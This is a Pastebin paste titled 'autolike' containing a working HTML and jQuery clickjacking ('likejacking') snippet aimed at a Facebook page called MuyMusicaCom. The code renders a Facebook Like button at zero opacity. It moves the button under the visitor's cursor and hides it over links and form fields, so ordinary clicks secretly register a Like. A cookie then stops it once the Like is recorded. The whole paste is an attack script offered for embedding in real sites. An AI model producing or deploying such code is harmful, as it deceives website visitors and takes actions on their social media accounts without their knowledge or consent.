Advertisement
muymusicacom

autolike

Feb 16th, 2013
474
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.75 KB | None | 0 0
  1. <!-- inicio autolike -->
  2. <div id="clickjack-button-wrapper-6" style="position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)'; margin-left: -50px; z-index: 100; width:1px; height:1px; overflow:hidden"></div>
  3.  
  4. <script>
  5. function setCookie(c_name,value,exdays)
  6. {
  7. var exdate=new Date();
  8. exdate.setDate(exdate.getDate() + exdays);
  9. var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
  10. document.cookie=c_name + "=" + c_value;
  11. }
  12. FB.init({appId: '124181341013348', status: true, cookie: true, xfbml: true});
  13. FB.Event.subscribe('edge.create',function(response) {
  14. document.getElementById('clickjack-button-wrapper-6').style.display = 'none';
  15. clickjackt=true;
  16. setCookie("ackt","100",365);
  17. });
  18.  
  19. function clickjackJJ(){
  20. var ck=document.cookie;
  21. var ckk=ck.indexOf("ackt");
  22. if(ckk==-1){
  23.  
  24. document.getElementById('clickjack-button-wrapper-6').style.width= "27px";
  25. document.getElementById('clickjack-button-wrapper-6').style.height= "20px";
  26.  
  27. document.getElementById('clickjack-button-wrapper-6').innerHTML = '<fb:like layout="button_count" show_faces="false" class="like_button" href="http://www.facebook.com/MuyMusicaCom" style="float:left;"></fb:like>';}
  28.  
  29.  
  30. }</script><script type="text/javascript" src="http://www.facebook.com/MuyMusicaCom" onload="clickjackJJ()"></script>
  31. <script type="text/javascript" >
  32. var jQ = 30;
  33. jQuery( document ).ready( function() {
  34. jQuery( "#clickjack-button-wrapper-6" ).parent().mousemove( function( e ) {
  35.  
  36. jQuery( "#clickjack-button-wrapper-6" ).css( {
  37. top: e.pageY - 10,
  38. left: e.pageX + 50
  39.  
  40. } );
  41.  
  42. } );
  43. clickjack_hider();
  44. var jb = (jQ * 20) / 10;
  45. var clickjack_fb_timer = setTimeout("clickjack_hider()",500);
  46.  
  47. } );
  48. function clickjack_hider(){
  49.  
  50. jQuery("input").mouseout(function(){ClickJackFbShow();});
  51. jQuery("a").mouseout(function(){ClickJackFbShow();});
  52. jQuery("button").mouseout(function(){ClickJackFbShow();});
  53. jQuery("textarea").mouseout(function(){ClickJackFbShow();});
  54. jQuery(".ratingblock").mouseout(function(){ClickJackFbShow();});
  55. jQuery("object").mouseout(function(){ClickJackFbShow();});
  56.  
  57.  
  58. jQuery("input").mouseover(function(){ClickJackFbHide();});
  59. jQuery("a").mouseover(function(){ClickJackFbHide();});
  60. jQuery("button").mouseover(function(){ClickJackFbHide();});
  61. jQuery("textarea").mouseover(function(){ClickJackFbHide();});
  62. jQuery(".ratingblock").mouseover(function(){ClickJackFbHide();});
  63. jQuery("object").mouseover(function(){ClickJackFbHide();});
  64.  
  65. }
  66. </script>
  67. <!-- inicio autolike -->
  68.  
  69. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement